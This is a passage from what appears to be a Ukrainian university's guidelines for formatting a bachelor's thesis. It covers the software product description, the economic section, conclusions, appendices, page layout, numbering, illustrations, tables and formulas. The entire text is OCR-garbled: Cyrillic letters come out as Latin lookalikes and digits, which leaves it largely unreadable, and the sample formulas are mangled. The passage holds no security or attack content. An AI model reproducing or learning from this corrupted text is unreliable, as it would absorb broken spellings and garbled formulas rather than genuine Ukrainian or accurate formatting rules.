J0J1aBaTHUCHL.

2.7. Tigpo3nin «Onuc po3poOICHOTO MPOTPaMHOTO TPOAYKTY» MICTUTH
iH(dopMamiro mpo MpoaykT. BiH mpu3HaueHWN as KOPHUCTYBadiB, 3aMOBHHKA,
mporpamictiB  Tomo. Jlns moBHOI iH(oOpMamii mpo podoTry  po3poOIeHOTO
MPOTPAMHOTO TPOAYKTY B IBOMY MIAPO3MiJi TMOBHHHI OYyTH PpO3KpPHUTI Taki
IyHKTH:

2.7.1. BukopucTani TEXHI4Hi 3aCO0H.

2.7.2. BukopucTani mporpamHi 3aco0H.

2.7.3. BUKIMK Ta 3aBaHTaXEHHS IIPOTpamu.

2.7.4. Onuc iHTEpdeiicy KopucTyBaya.

VY upomy miipo3Aisii MOBUHHI OyTH MOJIaH1 BC1 BIAOMOCTI PO Mporpamy, siki
MOKYTh 3HaJJOOMTHUCS M1/ Yac i1 CyIPOBOPKEHHS Ta €KCILTyaTallli.

2.7.1. Y nyHkti «BUKOpHCTaHI TEXHIYHI 3aCO0M» HABOAMTHCS OIUC
CKJIaJly TEXHIUHUX 3aC001B, TUIIIB €IIEKTPOHHUX OOYUCITIOBAIILHUX MAIIWH 1
MPUCTPOIB, SIKI BAKOPUCTOBYIOTHCS ISl pOOOTH CHCTEMH.

2.7.2. Y nyHkKTi «BukopucTaHi mporpaMHi 3aco0M» HAaBOAUTHCS OMHC
OmepaliiHUX CHUCTEM Ta MPOTpaMHHUX 3aco0iB, 3a JOMNOMOTOI SIKUX
3a0e3neuyerbes PyHKIIIOHYBaHHS PO3pOOJICHOT CUCTEMMU.

2.7.3. Y nyHkTi «Bukinuk Ta 3aBaHTaXEHHS MPOrpaMmu» WAETHCS MPO
croci® BUKJIMKY NpOrpaMy 3 BIAIOBIAHOTO HOCIS JaHUX Ta YMOBHU HOTO
3aBaHTaXeHHS. JlomyckaeThCs BKa3yBaTH BIOMOCTI TMPO BUKOPUCTAHHS
OTICPATHBHOI IaM'sTi Ta OOCST MPOTPaAMHU.

2.7.4. YV nynkti «Ommc iHTEepdeiicy KopucTyBaya» Mae OyTH MOJaHO
PO3TOPHYTY CHCTEMY MEHIO 3 ONWCOM YIOpPaBIIHHA [iajorom (3
ypaxyBaHHSIM BCiX MOXJIMBOCTEH pOOOTH CHCTEMH) Ta UTIOCTpaIlii HasBHUX
pe3ynbTatiB poOoTH po3pobIieHol iHhOopMaIiHOT CHCTEMH.
3aexHO BijJl OCOOIMBOCTEN MPOrpaMu, OKPIM 3a3HAYCHHUX BUIIE YOTUPHOX

00O0B’SI3KOBHX IYHKTIB MIJIPO3/ALTY, JOMYCKA€TbCs BBOJAMTU TakKl JI0JaTKOBI
MyHKTH:

- nyHKT «llopsimok poGoTH 3 MporpaMoro» MPU3HAUYECHUH JJIST OTHCY

TEXHOJIOTii POOOTH 3 MPOrPaMoI0 i MOPSJOK BHKOHAHHS CaMOi MPOrpaMHu.
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Tyt caig omucaTé Bech TEXHOJOTIYHMM JIAHIIOKOK 13 3a3HAYCHHSIM
TEPMiHIB, BUKOHABIIIB, IPOTrPAMHUX 1 TEXHIYHUX 3aC001B;
- nyHKT «IloBimomieHHS» Mae BimoOpakaTH BCl TOBITOMIICHHS ITPO

HE-mraTHi cutyarii y TakoMy BUTIISIL

a) TEKCT IOBIJOMJICHHS;

0) mms Koro mpu3HadeHe (omepaTopa, KOPHCTyBaya, IMPOrpaMicta

TOIO);

B) OIIKC CUTYAIlIi,

I) PEeKOMEHJI0BaHi Aii.

Bci 000B’s3K0B1 miJIpO3AUIH JIPYTrOoro po3Ailly, 3alie’KHO BIJ CBOIO BMICTY,
MOXXYTh MICTUTH JIOJATKOBI IyHKTH Ta TIIMYHKTH, 110 HE BKa3aHi B JIAHOMY 3MICTI,
aje, Ha JYMKY BUKOHABIl KBamidikamiiiHoi poOOTH, € AOUUIBHUMH 1 B OUIBIIOIO
MipOIO BiZIOOpaXaTUMyTh CyTh TMOSICHIOBAJILHOI 3aITUCKH.

3. Tperiii po3nin mae Ha3By «EKOHOMIYHHI po3aim» Ta NMpU3HAYCHUH JUIA
pPO3paxyHKy TPYIAOMICTKOCTI Ta BapTOCTI pO3pOOJIEHOTO IMPOrPaMHOTO MPOIYKTY.
Koncynbrarii 3 BUKOHAHHS Ta OI[IHIOBAaHHS Pe3yJIbTaTiB PO3PaXyHKIB €KOHOMIYHOTO
pO3Iidy TMPOBOAATHCA TpPH3HAUEHUM BUKIanadeM Ha Kadenpi IlpuxmagHoi
€KOHOMIKH Ta MiANPUEMCTBA.

3anexxHo Big ocoOimBocTed  iHGoOpMamliiHOT cucTemMu, mporpamMu  abo
POrPaMHOTO BHPOOY, B OKpeMHX (BUHATKOBHMX) BHITaJKaX 3a 3TOJOK0 KEpiBHHKA
KBamidikaiiiHoi pobOTH Ta HOPMOKOHTpOJEpa IOMYCKAETHCS YTOUYHIOBATH 3MICT
O3B, BBOJWUTH HOBI IMiIPO3aiIH a00 00'€THYBATH OKPEMI 3 HHX.

BucnoBku po3mimnyroTe 0e€3mocepenHbo IMICHS TPEThOro (€KOHOMIYHOTO)
po3airy kBaii(ikaiiitHoi poOOTH Ha OKPEMOMY apKyIIIi.

VY BHUCHOBKax HaBOASATH OIIHKY OJEp>KaHUX PE3yJIbTATiB BIIHOCHO aHAJIOTIB,
BUCBITJIIOIOTh JIOCSITHYTH CTyNMiHb HOBW3HHM, NPAKTHYHE, HAYKOBE 3HAYCHHS
pe3yJsIbTaTiB, MPOTHO3HI NPUIYLIEHHS [P0 MNOJAIBIIUN  PO3BUTOK 00 €KTY
TOCIIHKEHHS 200 po3pO0JICHHS, BIJOMOCTI 3 EKOHOMIYHOTO PO3ILTY.

TexkcT BUCHOBKIB MOX€ NOAUISTUCh Ha IYHKTH. 3arajbHUil o0csar mae
CTaHOBUTHU 1-2 CTOPIHKH.

[Ipuknan odpopmneHHs: BUCHOBKY HaBeneHo B Jlomatky /.

Cnucok BHKOPHCTaHHMX jKepes. [lepemik kepen, Ha sKi € TOCUJIAHHS B
OCHOBHII 4acTHHI, HABOJATH CIIIZIOM 32 BUCHOBKaMH, TOYMHAIOUN 3 HOBOI CTOPIHKH.
KinpkicTe moBuHHa OyTH HE MeHII, HiXk 20 MyHKTIB.

JonaTku MicTaTh B €001 MaTepiasl, SKUH € HEOOXIMHWM I TIOBHOTH
MOSICHIOBAJIBHOI 3alTUCKU 1 HE MOXe OyTH pO3MIIIeHHH B OCHOBHIH YacTHHI 4epes
BENMKUI 00cAr abo croci0 BiITBOPEHHSI.

Tunu nomaTkiB:

— JIOJIaTKOBI UmtocTpartii abo Tabmurr;

MPOMiIXKHI MaTeMaTU4HI JOBeIeHH:, ((OpMyIIH, pO3paxyHKH;

IIPOTOKOJIA BUITPOOYBaHb;

METOIUKHU;

TEKCTH BHXIJHUX KOJIB KOMIT'IOTEPHUX TNpOTpaM, pO3pOOJIEHUX Yy XOi
BHUKOHAHHS KBai(ikaiiHoi poOboTH;
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— JIOJIATKOBHM MEPETIK JHKEPE, AKi MOXKYTh BUKJIMKATH 3allIKaBJICHHS;

— BIATYK KepiBHUKA EKOHOMIYHOTO PO3LIY;

— mepenik (ainiB Ha IUCKY 3 TIOSICHEHHSIM iX npu3HadeHHs JlomaTtok M.

[Ipuknan BiAryKy KepiBHHMKa KBamidikaiiiHoi podoTu HaBeaeHo B [Jonatky K,
a peueHsii 30BHIMHbOroO cnemianicra B Jogatky JI. Lli 1okyMeHTH 10 3arajibHOTO
TEKCTY TOSICHIOBAJILHOT 3aITUCKU HE M IINBAIOTHCS, a BKIATAIOTECS OKPEMO.

6. Bumoru 10 opopMiIeHHS MOSICHIOBAJIBHOI 3aNIMCKH
6.1. 3araabHi BUMOTrH

Mosgoto kBamidikariiiHoi po0oTH 6akagaBpa MOBUHHA OYTH JepikaBHA MOBA.

TexcT poOOTH HEOOXIAHO IPYKYBATH, 3AMINAIOYH TOJISI TAKUX PO3MIPIB: JIIBE —
HE MEHIIIe 25 MM, IpaBe — He MeHIle 15 MM, BepxHe — He MeHIle 20 MM, HUKHE — HE
menIre 20 mm. BupiBHIOBaHHS TeKCTY B psjKy — «Ilo mmpuHi».

Po6GoTy ApyKyrOTh 3 BUKOPUCTaHHSAM IIPUPTIB TeKCTOBOro peaaktopa Word 3
nosytTopHuM (1,5 1T) MDKpsSAKOBUM iHTEepBajoM. [Ipu 1IbOMY BHKOPHUCTOBYETHCS
mpudt Times New Roman TexcroBoro pemakropa Word po3mipom (kermem) 14 mr.
Bigctyn nmepuioro psinka a63aiy mae ctaHoBUTH 1,2 cMm. JloaTKoBOi BiJICTaHI M1k
ab3amaMu, OKpiM BCTAaHOBJICHOTO MIXPSAIKOBOTO iHTEpBaly, HE BCTAHOBIIOETHCA. Y
pobOTI  HE JOMYCKAEThCS BUAUICHHS (PparMeHTIB TEKCTy IHIIUMH mIpudramuy,
KOJIbOpaMH, MIJKPECTIOBAHHSM Ta IHILE, OKPIM CIELIAJbHO 3a3HAYEHUX BUMAIKIB
(Ha3Ba TabUIIl, 3aTOJIOBKH PO3JIUIIB, TAPO3ILTIB, BAHOCKH).

3aronoBku cTpykTypHUX dactuH podotn «PEDOEPATY, «3MICT», «ITEPEJIIK
YMOBHUX I[TO3HAYEHby, «BCTVYII», «PO31JI», «cBUCHOBKWN», «CITMCOK
BUKOPUCTAHUX JKEPEJI» mpykytoTb mponmucHUMH (BETMKAMH) JITEpaMu 3
BHUpiBHIOBaHHAM TeKcTy «llo mertpy», a «JIOJATOK» - 3 BupiBHIOBaHHSIM TEKCTY
«3 mpaBoro Kparoy». 3arojIOBKH IMiJPO3AUIIB, IMYHKTIB Ta MiJMYHKTIB JIPYKYIOTb
PSAAKOBUMH (MaJMMHM) JliTepaMy (KpiM MEpIIoi BEIMKO) 3 BIACTYILY HEPIIOro psaKa
ab3amyy, mo mgopiBHioe 1,2 cM. Kpamky B KiHIII 3aroioBka HE CTaBJsATh. SIKIIO
3aroJIOBOK CKJIQJIA€ThCA 3 JIBOX a00 OLIbIIEe peYeHb, iX PO3AUIIIOTH KPAIKOIO.
[lepeHocn 4acTHH CIiB y 3arojioBKax KBaliikaiiidHOT poOOTH HE JOIMyCKaroThCs,
CJIOBA MEPEHOCATHCS MOBHICTIO.

Bci 3aronoBku  CTPYKTYpHMX YaCTUH, PO3JUIIB, MIAPO3AUIIB 1 MYHKTIB
BUJIUJISIIOTh KUPHUM HIpUPTOM. BifCTaHb MK 3arojoBKOM Ta HAcCTymHUM a0o
MoNepeHIM TEKCTOM MOBHHHA CTAaHOBHUTH po3Mip ofHoro psaka (14nt). He moxxHa
pO3MIIlyBaTH 3arojOBOK Yy HIDKHIM YaCTHUHI CTOPIHKH, SIKIIO TMICAS HBOTO
3aJIMIIAETHCS TITBKH OJMH PSIJIOK TEKCTY.

KoxHy cTpyKTypHY 4acTUHY poOOTH Tpeba MOYUHATH 3 HOBOi CTOPIHKH.

6.2. Hymepanis

[Tepmoro cTOpiHKOIO POOOTH € THUTYJbHHM apKyll, SKAW BKJIIOYAIOTH 10
3aranbHOi Hymepamii CcTOpiHOK. Ha TuTyiapHOMY apkymii HOMEp CTOpIHKHA He
CTaBIIATh.

Hywmepartiiro cTopiHOK, pO3AiTIB, MAPO3AUIIB, MyHKTIB, MIJMYHKTIB, PUCYHKIB,
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TabIuIb, HOpMyI MOAAIOTH apabchkuMu Iudpamu 6e3 3Haka Ne..

Cropinku poOOTH HyMEpPYIOTHCSI B HWKHIM 4acTHHI apKylla, BUPIBHIOBAaHHS —
«ITo neHTpy», 31 30epeKEHHAM HACKPI3HOT HyMepallil BCbOTO TEKCTY.

CrpykrypHi enemeHTH 3 HazBamu «PED®EPATY», «3MICT», «ITEPEJIIK
VYMOBHUX  TIO3HAYEHbY, «BCTVII», «BUCHOBKM», «CIITMCOK
BUKOPUCTAHUX JIXKEPEJI», « IOJATOK» He HymMepytOTh. 3BEpTaEMO yBary Ha
Te, IO BCl apKylll, Ha SKUX PO3MIMIEHI 3rajgaHi CTPYKTYpPHI YacTUHH POOOTH,
HYMEpYIOTh 3BUYafHUM YMHOM. He HymMepyIoTh JHIIe iX 3aroj0BKH, TOOTO HE MOYKHA
npykyBatu: «1. BCTYID» a6o «Po3nin 6. BUCHOBKW».

Poszainm, miagpo3aiiau, MyHKTH Ta MiAMMYHKTA HyMEPYIOTHCS HACTYITHUM YMHOM:

— HOMep po3airy cTtaBiATh miciast cioBa «PO31JI», micns HoMepa Kpanky He
CTaBJIATh, IOTIM 3 HOBOTO PsAKA APYKYIOTh 3ar0J0BOK po3airy (puc. 1):

PO3JLT 1
AHAJII3 IPEJIMETHOI TAJTY3I TA TOCTAHOBKA 3ABJIAHHS

Puc. 1. Ilpuknan odpopmieHHs po3auty podoTu

— MiAPO3AUIM HYMEPYIOTH Y Meax KOXHOro posauty. Homep mizposairy
CKJIAJIA€ThCA 3 HOMEpa PO3JLTY 1 MOPSAKOBOTO HOMEpa MiAPO3JLTY, MiXK SKUMHU
CTaBJIATH Kparky. B KiHIlI HOMepa miapo3/iily IOBUHHA CTOSITH Kparka, HalpuKJIal:
"2.3." (Tpertiii mimposnin Apyroro posaury). IlotiM y TomMy K pSIKYy HaBOAATH
3aroJI0OBOK Miapo3aity (puc.2):

2.3. Ha3Ba TpeTbOro miipo3aisty Apyroro po3aiiy

TeKCT TEeKCT TEKCT TEKCT TEKCT TEKCT TEKCT TEKCT TEKCT TEKCT TEKCT TEKCT
TCKCT TCKCT TCKCT TCKCT TCKCT TCKCT TCKCT TCKCT TCKCT TCKCT TEKCT TCKCT TCKCT

TCKCT TCKCT TCKCT TCKCT TCKCT.

Puc. 2. [lpuknan opopmieHHS miapo3airy poboTH

— NYHKTH HYMEpPYIOTb y MeXaX KOXHOro migpo3auty. Homep myHKTY
CKJIaIa€ThCAd 3 MOPAAKOBHX HOMEpPIB PO3ALTY, MiAPO3AUTY, MYHKTY, MiXK SKAMH
CTaBJIATH Kpamky. Y KiHIlI HOMepa MOBHHHA CTOSITH Kpalika, Hampukmag: "1.3.2."
(Ipyruii MyHKT TPETHOTO MiAPO3ILTYy MepIioro posnairy). IloTiM y Tomy X psaky
HAaBOJISITh 3ar0JIOBOK ITyHKTY.

[TiagmyHKTH HYMEpYIOTh y MEKaxX KOKHOTO MyHKTY 32 TAKUMM K MPaBUIIAMH, 5K
MyHKTH.

6.3. Lmrocrpauii

LmtocTpyioTs poOOTY, BUXOASYU 13 NEBHOI'O 3arajikHOTO 3aJyMy, 3a PETEIHHO
OpOAYMaHHUM TEMaTHYHUM IUIAHOM, IMIO JONOMAara€ YHHUKHYTH UTIOCTpaliii
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BHUITAJIKOBUX, TIOB'SA3aHUX 13 JPYTOPSAHUMH JCTAISIMA TEKCTy 1 3amo0irtu
HEBUIIPaBIAHUM TMPOIyCKaM UIIOCTpamii 10 HaWBaxumBimmx TeM. KokHa
UTIOCTpAIlis Ma€ BIAMOBIIaTH TEKCTY, & TEKCT — LTFOCTPAIIii.

OCHOBHUMH BHJAMH UTIOCTPATHBHOTO Marepiaxy B poOOTI € KpEeCICHHS,
TEXHIYHAN PUCYHOK, cxeMma, Gororpadis, aiarpama i rpadix.

ImocTpanii MOXKyTh GYTH pO3TaIlIOBaHI B TEKCTi HOKyMEHTa abo JoiaTKax. Ix
HEOOXITHO pO3MINTyBaTH OE€3MOCEpeHBO MICHS TEKCTY, B SKOMY BOHHU 3TaJlyIOTHCS
BIIepiie, a00 Ha HACTYNHIN cTopiHLl. [mrocTpariii, po3MileHl Ha OKPEMUX CTOPIHKAaX
poOOTH, BKIIIOUAIOTH 10 3arajbHOI HyMepallii CTOPIHOK.

Imroctpanii nmo3nayaiote ciaoBoM «Puc.» 1 HymepyroTh apabcbkumu nuppamu
MOCJIITOBHO B MeEXax poO3Ally, 32 BUHATKOM UIIOCTpalid, MOJAaHUX Yy J0JaTKax.
Howmep inrocTparlii MOBHHEH CKIIAJaTUCS 3 HOMEpa PO3JLTY 1 TOPSAKOBOTO HOMEpa
UTFOCTparlii, MK SKHMH CTaBUThCS Kpanka. Hampukman: Puc.l.2.03Havae (npyrwuii
PHUCYHOK TIEPILIOTO PO3LTY).

Howmep imtocTpartii, ii Ha3Ba i MOSCHIOBAIbHI MIAMKUCH PO3MIILYIOTh OCTIIOBHO
mig imrocTpariero. SIKmo B po3dini poOOTH MOJAHO OJHY UIocTpamiio, To i1
HYMEpPYIOTh 32 3araJlbHUMH NIPaBHIIAMHU.

[Tignuc mijx iTroCcTpaliero Mae TpU OCHOBHUX €IIEMEHTH:

1. HaiimenyBaHHA TpadigyHOTO CIOKETy, IO TO3HAYAETHCS CKOPOUYCHUM
cinoBoM «Puc.».

2. TlopsiaxoBuii HOMEp UTIOCTpallii, IKUM BKa3yeThbcsl 0e3 3HaKy No apaOChKHUMU
udpamu.

3. TemaTuunuil 3aroJ0BOK 1IIOCTpAIlii, 110 MICTUTh TEKCT 13 SKOMOTa CTHUCIIOIO
XapaKTEepUCTUKOIO 300pakeHoro. Hampuxian, TpeTiil pUCYHOK MEPILIOro po3ILTy
(puc. 1.3) matume Takuid mianmc min imoctpariero: «Puc. 1.3. Bubip mporpamanx
3ac001B».

Lmroctpartito, pa3om 3 MiAMKACOM PO3MIIIYIOTh 3 BUpiBHIOBaHHAM «[lo mieHTpy»
(puc. 3), popmat oOTiKaHHS TekcToM — «Ilepea TekcToM».

MporpamHi 3acobun

— T

OnepauiiHa cuctema cyBg BeG-cepsep /cepsep
npyKNaaHUX nporpam
> Microsoft —» Oracle RDBMS —» Apache Tomcat
Windows Server P
> Linux > Sybase ASE > Microsoft IIS
> Solaris —» MS SQL Server —— Sybase EAS
—>| FreeBSD —> MySQL —>| Zope

Puc. 1.3. Bubip nporpamHux 3aco6iB

Puc. 3. [Ipukian HaBeieHHS UTIOCTpaLii 3 MiANNCOM

15



Binctanp Mixk monepeaHiM i HACTYIHHM TEKCTOM Ta ITIOCTPAIli€lo 3 MiAMUCOM
ITOBUHHA CTAHOBHTH BEJIMYUHY OJHOTO psaka (14mT).

Ha Bci imtocTpatiii moBUHHI OyTH MOCHJIAHHS B POOOTI.

He Bapro odopmiioBaTd MOCMIaHHS Ha UIIOCTpallii SK caMocCTiiiH1 ¢pasu, B
SKUX JIMIIE TIOBTOPIOETHCS TE, IO MICTUTHCS Yy MiANUCE. Y TOMY MIiCIl, e
BHKJIAJIAETHCS TeMa, TIOB'SI3aHa 3 LTIOCTPAIIi€l0, 1 e YuTadeBl Tpeba BKa3aTu Ha Hel,
PO3MIINIYIOTh MOCUJIAHHS y BUIJIAII BHpa3y B KPYINIHMX TyXKKax «... (puc.3.1)» abo
3BOPOT THUITY: «...[K II€ BUJHO 3 pHC. 3.1», a00 «... sIK I1e TTOKa3aHo Ha puc. 3.1».

Bci imroctpartii, sSiki BHHOCSTBHCS Ha TIPE3CHTAIIO, HEOOXiMHO HABECTH B
OCHOBHIW YaCTHHI aTecTaIliifHoi OakamaBpchkoi poOboTH ab0 B ToAaTKAaX.

6.4. Taoaumi

HudpoBmii Matepianm Il JOCATHEHHS Kpalmioi HAOYHOCTI W TTOPIBHSIHHS
TTOKa3HUKIB, K IMPABUIIO, CJIIJT OPOPMIIATH Y BUTIISIII TaOTHUIIb.

3arosoBoK TaONWIll TOBMHEH MICTUTH Yy co0i cioBo «Tabmuis», ske
pO3MIIYIOTh 3 BHpiBHIOBaHHSIM «[lo mpaBomy Kparo» Ta Ha3By, Ky PO3MILIYIOTh
HaJ TaOJIUIEI0 1 JPYKYIOTh CUMETPHYHO JI0 TeKCTy (BupiBHIOBaHHS «[lo meHTpy»).
Ha3By i cnoBo «Tabnuis» mouyuHarOTh 3 BENUKOI JiTepu. Ha3By HABOIATH KUPHUM
mpudprtom. [IponucHuMu niTepamu TMOBUHHI JPYKyBaTHCS 3arojioBHI OyKBU I
abpesiatypu.

3a norikoro nMoOynoBU TaOmMIll ii JIOTIYHUN Cy0'ekT, a00 miAMeT (TO3HAueHHs
TUX TPEIMETIB, SKI B HIl XapaKTEepHU3yIOTHCs ), PO3MIIIYIOTh Y OOKOBHKY, TOJIOBIII, U1
B HUX 000X, a He y mporpadiii; JOrIYHUNA MpeAuKkaT ado MpUCyJok Tadbmauil (ToOTo
JaHi, SKHMU XapaKTepU3y€eThes MiAMET) - y mporpadili, a He B TOJIOBII Y1 OOKOBUKY.
Koxen 3aronoBok Haji rpadoro CTOCY€eThCs BCIX JaHUX 1€l rpadu, KOJKEH 3aroJioBOK
psiaKa B OOKOBHKY — BCIX JaHUX LIBOTO PsIJIKa.

3arojoBoK KOXHOi rpadu B TOJOBII Tabiuill Mae OyTH IO MOKIMBOCTI
KOPOTKHUM.

Crixg yHUKaTH MOBTOPIB TEMATUYHOTO 3arojOBKa B 3arojIoBKax rpad, OAMHUII
BUMIpY 3a3HayaTH y TEMaTHYHOMY 3arojIOBKy, BHHOCHUTH /O Y3arajibHIOIUYHX
3aroJIOBKiB CJIOBA, IO TIOBTOPIOIOTHCSI.

BokoBUK, sIK 1 TOJI0BKa, MOTpedye TakoHIYHOCTI. [ToBTOpIOBaHI cI0Ba TYT TaKOX
BUHOCATH y 00'€IHYBalIbHI pyOpHKH; 3araibHi Ui BCiX 3arojiOBKiB OOKOBHKA CIIOBA
PO3MIIIYIOTh y 3ar0JIOBKY HaJ HUM.

VY nporpadiri moBTOproBaHi €JIEMEHTH, SIKi MalOTh BITHOIICHHS 110 BCi€l TaOmwIIi,
BUHOCATH y TEMAaTHYHUI 3ar0JIOBOK a00 B 3arojIOBOK rpadu; 0JHOPIAHI YMCIIOBI JaHi
PO3MIIIYIOTh TaK, MO0 iX Kjaacu 30iranucs; HEOAHOPIIHI — MOcepeaAnHi rpadu; manku
BUKOPHUCTOBYIOTH TUTBKH 3aMICTh OJTHAKOBHUX CIIIB, SIK1 CTOSITh OJTHE 11T OJTHHM.

3aronoBku rpad TOBUHHI MOYMHATUCSA 3 BEJIMUKUX JITEp, MIA3arojIOBKH — 3
MaJICHbKHUX, SIKIIO BOHU CKJIAJAIOTh OJHE PEYCHHS 13 3aT0JIOBKOM, 1 3 BEJIMKHX, SKIIO
BOHU € caMOCTiiHMMH. Bucorta psijikiB moBUHHA OyTH He MeHmow 8 mMm. ['pady 3
MOPSIIKOBUMH HOMEpaMH PSIKIB 10 TaOJIWIII BKIIOYATH HE Tpeoda.

SIK0 TeKCT, SKUii MOBTOPIOETHhCS B rpadi TaONUIll, CKIAIAETHCA 3 OIHOTO
CJIOBa, MOTO MOKHA 3aMIHIOBATH JIAlKaMU; SKIIIO 3 JBOX ab0 OUIbIIE CIiB, TO IpH
NepIIoMy TMOBTOPEHHI HOro 3amiHIOIOTH cloBamu «Te came», a Jaii JIalKaMu.
CraBuTH JanKu 3aMmicTh MUQP, MAPOK, 3HAKIB, MATEMATUYHHUX 1 XIMIYHUX CUMBOJIIB,
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SIK1 TOBTOPIOIOTHCS, HE MOHA. K110 1udposi abo 1HII J1aHl B SIKOMY-HEOY/b PSIIKY
TaOJIUIl HE I0JJal0Th, TO B HBOMY CTaBJISATh IPOYEPK.

Tabmuio 3 BEIMKOIO KUIBKICTIO TIpad MOXKHA JUIMTH Ha YacTUHHU 1
PO3MIIIyBaTH OJIHY YACTHUHY IIiJI THIIIOK B MEXKax OHI€T CTOpiHKH. SIKIIO psiku abo
rpadu Tabnuii BUXOIATH 32 (hOpMaT CTOPIHKU, TO B MEPIIOMY BUIAAKY B KOXKHIM
YacTHUHI TaOJIULI TOBTOPIOIOTH il FOJIOBKY, B IPyroMy — OOKOBHK.

Tabnumi HyMepyIOTh OCTII0BHO (32 BUHSITKOM TaOJUIlb, MOJAHUX Y JTOJATKAX )
B MeXax po3aity. B mpaBoMy BepxHbOMY KyTi HaJ BiIOBITHHUM 3arojiOBKOM
Tabmuii po3mimyroTs Hanuce «Tabmuismy» 13 3a3HadeHHAMU HoMmepa. Homep Tabmuii
MOBUHEH CKJIAJAaTHCS 3 HOMEpa PO3JLTY 1 MOPSIKOBOr0 HOMepa TabJIUIll, MK SIKUMU
CTaBUTHCS Kpanka, Hanpukias: «Tabmuus 1.2» (apyra Tabauis nepuioro po3ainy).

Hanpuknan — odopmienHs m'stoi TabmuIll HEpHIOro poO3ALTy HABEJIEHO Ha
puc. 4:

Taomung 1.5
Ha3Ba Tadaumi

3arosoBku rpad
l'onoBka - -
ITinzaronosku rpad| Ilix aronoBku rpad
Psiixm TEKCT TEKCT
Panxu TEKCT TEKCT
BbokoBuk I'padu
(3aroJIOBKH PSJIKiB) (KOJIOHKH)

Puc. 4. Ilpuxnan odpopmiieHHs Tabuii

Skmo B po3nauti poOoTH suiie ojaHa TaONHI, i HyMEpyIOTh 3a 3arajlbHUMHU
MIpaBUIIAMH.

TabnuIo po3MIIIYIOTh MICHs MEPIIOTO 3raAyBaHHs MPo Hei B TEKCTI, Tak, 1100
il MoxxHa Oyno uymTaTH 0€3 TOBOPOTY HEperuieTeHoro 650Ky pobotu abo 3
MOBOPOTOM 3a CTPUJIKOIO TOJIMHHUKA.

Tabnuimro 3 BENUKOIO KITBKICTIO PAOKIB MOKHA TEPEHOCHTH HA HACTYITHY
cTopiaky. Tabmumi, po3MilleHi Ha OKPEMHX CTOpiHKax poOOTH, BKJIIOYAIOTH 0
3arajibHOi HyMepallii CTOPiHOK.

[Ipu nepenecenHi TabiuIll Ha HACTYIHY CTOPIHKY Ha3BY BMILIYIOTh TIJIbKUA Hajl
il mepmoro yacTuHOr. Ha HacTymHi CTOpIHIII B TEPIIOMY PSAKY IIpaBOpyd
po3MilytoTh TeKCT «IIpogossk. Tabi. 2.2» 1 gaini po3MilLyIOTh IPOAOBXKEHHS TaOJIUI
3 KOIIIOBAaHHSIM Ha3B BIAMOBIAHUX CTOBOIIB. [lpukian Takoro odopMICHHS
HaBezneHo B [lopatky H.

Tabmuito po3MmingyoTh 3 BHUpiBHIOBaHHsM «[lo mieHTpy». Bincranp Mix
HoNepeaHiM 1 HAaCTYITHUM TEKCTOM Ta TaOJUIEI0 3 HAa3BOK MOBMHHA CTAaHOBUTHU
BEJIMUMHY OJHOTO psiaka (14mT).

6.5. ®opmy.n

@®opMysM B JIOKYMEHTI, SIKIIO iX OUIBII OJIHI€l, HYMEpPYIOThCS apaOChKUMU
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nudpamMu, HOMEp CTaBJIATH 13 MpPaBOi CTOPOHU CTOPIHKH, y JAYXKKax, Ha piBHI
bopmynn. Y Mexax ychbOoro JOKyMEHTa ab0 HOro 4acTWH, Yy BUIAAKaX PO3MOILITY
JIOKYMEHTa Ha YacTHHH, (POPMYJM MarOTh HACKpi3Hy Hymepauito. [locunanus B
TEKCT1 Ha MOPSAKOBUN HOMEp (HOpMyNH Nal0Th y TyKKaX, HapUKIad, «y Gopmyi
(3)». Ilpu posmoxini JOKyMEHTa Ha YacTUHU, HOMEP YAaCTHUHH CTAaBUTHCS Iepen
NOPSIKOBUM HOMepoM (opMynH MW BIAAUIIETHCS BIA OCTAHHBOIO KpPAarmkolo,
Hanpukian, «y Gopmym (2.4)». 3HadeHHS CHMBOIIIB 1 YHCIOBHUX KOEQIIIEHTIB, IO
BXOJATh Yy (opmysy, MOBHHHI OyTH HaBe[eHI Oe3mocepeAHbO Mijl (POopMYJIOL0.
Hepmnﬁ PAIOK po3mH(pyBaHHS MOBHHEH MOYUHATHCS 31 cioBa "ne"", 6e3 JIBOKPAITKH
Hicasl HbOTO. 3HAYEHHS KOXHOIO CHMBOIY JIPYKYIOTh 13 HOBOIO psifka B TIH Xe
MOCTIIOBHOCTI, Y SIKili BOHU HaBe/eH1 y (POpMyJli, HATPUKIA:

=3 () 24
j=1

e 7(v;) — ceMaHTHYHA 3HAYYLLiCTh ISl KOKHOIO Habopy v;,

7Z'j (Xi,Vj) — CCMaHTH4YHA 3HaYyHIICThb CJICMCHTA X; B KOHTCKCT1 Ha60py

CIICMCHTIB V; .

Po3MmipHicTh TOro camoro mapaMmeTpa B MeXaX OJHOTO JIOKyMEHTa MOBHHHA
Oytu moctiiiHOW0. [loscHEeHHS 3Ha4YeHb CHMBOJIB 1 YHCIOBUX KOeillieHTiB Tpebda
MojiaBaTu OE3MocepeHBO il GOPMYIIO0 B Tiid MOCIOBHOCTI, B IKiil BOHU HAaBEJCHI
y ¢opMyiti. 3HAYEHHS KOYKHOTO CHMBOJITY 1 YHCIIOBOTO Koe(biuieﬁTa Tpeba mojaaBaTu 3
HOBOTO psjika. PiBHAHHA 1 (I)OpMyJII/I PO3MIIIYIOTh 3 BHpiBHIOBaHHAM «Ilo LHCHTPY» Ta
BUIUIAIOTH 3 TEKCTY BUIIE 1 HWKYE KOXKHOI (OpMyTH HEe MEHIe OJHOTO BiIBHOTO
psanka (14 or).

SIKImo piBHSHHS HE BMINIYETbCA B OJMH PSAOK, MOTO CHiJl TMEPEHECTH MiCIs
3HaKa piBHOCTI (=), a00 micis 3HaKiB 0 (1), MIHYC (-), MHOKEHHSI.

Hymepysartu ciij nuie Ti GopMyiu, Ha SIKi € TOCHIaHHSA B HACTYITHOMY TEKCTi,
[H1I11 HYyMepyBaTH HE PEKOMEHIY€EThCs (puUc. ).

d, :#WV), (3.1)
ij\""i j

ne nobyTok L, (W,+W,) — cuna 3B’A3Ky Mix BepmuHaMu C, Ta C,, Q — KOHCTaHTa,

gKa 3aJeKUTh Bl OCOOJMBOCTEM KOHKpeTHOi oHTojorii. Cuma 3B 3Ky MIK

BEpIIMHAMH OOEPHEHO-TIPOTOPITiiiHA IO BiACTaHI MK HUMH. Toi BicTaHb dy MK

Oynb-KMMH JBOMa HECYMIKHMMH BepluMHaMu C, Ta C, JNOPIBHIOE CyMl BiJCTaHEH

